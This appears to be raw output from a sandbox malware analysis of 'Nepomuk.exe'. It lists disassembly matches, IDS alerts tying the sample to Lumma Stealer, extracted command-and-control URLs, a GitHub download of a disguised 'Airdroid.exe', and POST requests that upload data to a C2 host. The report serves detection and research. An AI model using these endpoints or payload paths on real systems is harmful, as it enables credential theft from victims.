Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then jmp eax	0_2_0156D388
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_01584275
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp], eax	0_2_01561201
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-7E9317F6h]	0_2_015712DB
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_015512F0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	0_2_015772A0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], BEB994C9h	0_2_015772A0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+7A0F92D2h]	0_2_0155B550
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0158454A
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+0000027Ch]	0_2_01571510
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_01584534
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], edi	0_2_0156D5E0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], edi	0_2_0156D5E0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [eax]	0_2_0159C4F0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1Ch]	0_2_0155E49F
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], A4BF7AEEh	0_2_01594750
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov edx, dword ptr [ecx+esi+3Ch]	0_2_01594750
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	0_2_0157F74B
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_015777C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp byte ptr [edx+esi], cl	0_2_01551650
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0156E67D
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], ebx	0_2_01572610
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+000000F0h]	0_2_01572610
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_01572610
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [eax]	0_2_0159C6D0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_01581680
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	0_2_01592960
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], BEB994C9h	0_2_01580916
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+28h]	0_2_0157F9A6
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+0D993EE3h]	0_2_0157C8CC
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_01584B5B
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-349D2938h]	0_2_0155BBC0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+esi]	0_2_0155BBC0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_01584BC6
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_01584BF3
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+10h]	0_2_0157FAC0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then push esi	0_2_01575D33
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, word ptr [ebx]	0_2_0159AC50
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx+000001E4h]	0_2_0155CC40
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+5C150C3Ch]	0_2_0157FC7D
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+10h]	0_2_01591C00
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+08h]	0_2_01591C00
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04h]	0_2_01591C00
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_01584C05
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], A0E666EBh	0_2_01594CC0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then lea ecx, dword ptr [esp+00000138h]	0_2_0156AC97
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+01h]	0_2_01550F10
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+000011C8h]	0_2_0157AF00
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [eax+esi-1E5CF0B0h]	0_2_01596F38
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_01582F20
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+28h]	0_2_0157DFD0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax]	0_2_01592FF2
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0158DF90
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_2_0157FEF9
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [edi], cx	0_2_0157FEF9
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], A4BF7AEEh	0_2_03595350
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov edx, dword ptr [ecx+esi+3Ch]	0_2_03595350
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+28h]	0_2_0357EBD0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], edi	0_2_0356ABFA
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [eax]	0_2_0359D2D0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp], eax	0_2_03561AF8
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_035841D1
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_035841D1
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, word ptr [ebx]	0_2_0359B850
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx+000001E4h]	0_2_0355D840
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [eax]	0_2_0359D0F0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_0359CD10
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	0_2_0358034F
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then lea ecx, dword ptr [esp+00000138h]	0_2_0356B36A
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax]	0_2_03593B1D
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+01h]	0_2_03551B10
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-7E9317F6h]	0_2_03571B10
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+000011C8h]	0_2_0357BB00
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [eax+esi-1E5CF0B0h]	0_2_03597B38
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_03583B20
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [eax+esi-1E5CF0B0h]	0_2_03597BD9
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_035783C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0358EB90
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0356F3B0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp byte ptr [edx+esi], cl	0_2_03552250
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	0_2_03593269
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax]	0_2_03593269
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], ebx	0_2_03573210
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+000000F0h]	0_2_03573210
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_03573210
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_2_03580AE0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [edi], cx	0_2_03580AE0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_03582280
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+7A0F92D2h]	0_2_0355C150
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+0000027Ch]	0_2_03572110
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then push esi	0_2_03576933
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_0357F18A
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+5C150C3Ch]	0_2_0358081C
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_2_0358081C
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [edi], cx	0_2_0358081C
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+10h]	0_2_03592800
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+08h]	0_2_03592800
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04h]	0_2_03592800
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], A0E666EBh	0_2_035958C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0355AF10
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0356DF0E
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], edi	0_2_0356DF0E
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], edi	0_2_0356DF0E
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-349D2938h]	0_2_0355C7C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+esi]	0_2_0355C7C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then jmp eax	0_2_0356DF8F
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+10h]	0_2_035806C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_03551EF0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	0_2_0357FE84
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	0_2_03577EA0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], BEB994C9h	0_2_03577EA0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov edx, esi	0_2_03575570
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], BEB994C9h	0_2_0358151C
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+14h]	0_2_03599D10
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	0_2_03551D20
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0356D5F0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-70h]	0_2_03595D90
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+28h]	0_2_035805AA
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+0D993EE3h]	0_2_0357D49C
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_03559CB0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_03559CB0

Source: Network traffic	Suricata IDS: 2061393 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soursopsf .run) : 192.168.2.4:57934 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061395 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (changeaie .top) : 192.168.2.4:49666 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49716 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49718 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49717 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49727 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49721 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49719 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2061396 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI) : 192.168.2.4:49720 -> 104.21.42.7:443

Source: Malware configuration extractor	URLs: quantyu.bet/AOSkwi
Source: Malware configuration extractor	URLs: soursopsf.run/gsoiao
Source: Malware configuration extractor	URLs: changeaie.top/geps
Source: Malware configuration extractor	URLs: easyupgw.live/eosz
Source: Malware configuration extractor	URLs: liftally.top/xasj
Source: Malware configuration extractor	URLs: upmodini.digital/gokk
Source: Malware configuration extractor	URLs: salaccgfa.top/gsooz
Source: Malware configuration extractor	URLs: zestmodp.top/zeda
Source: Malware configuration extractor	URLs: xcelmodo.run/nahd

Source: global traffic	HTTP traffic detected: GET /DLMKER/LeryStable/raw/refs/heads/main/Airdroid.exe HTTP/1.1Connection: Keep-AliveHost: github.com
Source: global traffic	HTTP traffic detected: GET /DLMKER/LeryStable/refs/heads/main/Airdroid.exe HTTP/1.1Connection: Keep-AliveHost: raw.githubusercontent.com

Source: Joe Sandbox View	IP Address: 46.8.232.106 46.8.232.106
Source: Joe Sandbox View	IP Address: 46.8.232.106 46.8.232.106
Source: Joe Sandbox View	IP Address: 140.82.114.3 140.82.114.3

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49716 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49718 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49727 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49729 -> 185.199.111.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49717 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49721 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49728 -> 140.82.114.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49719 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49720 -> 104.21.42.7:443
Source: Network traffic	Suricata IDS: 2822537 - Severity 1 - ETPRO EXPLOIT Possible Win32k Elevation of Privilege Vulnerability (CVE-2016-7191) : 185.199.111.133:443 -> 192.168.2.4:49729

Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 59Host: changeaie.top
Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YO6t203zjUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 19584Host: changeaie.top
Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=n4C6WMx76GdUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 8751Host: changeaie.top
Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0bt8K4rlv3dljCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20419Host: changeaie.top
Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=jzp11Wf7t4MM3xSM1UlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2436Host: changeaie.top
Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=vrrlA1O6WzAn3KQ4Ep0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 549398Host: changeaie.top
Source: global traffic	HTTP traffic detected: POST /geps HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 97Host: changeaie.top

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.196.157

Source: global traffic	DNS traffic detected: DNS query: quantyu.bet
Source: global traffic	DNS traffic detected: DNS query: soursopsf.run
Source: global traffic	DNS traffic detected: DNS query: changeaie.top
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
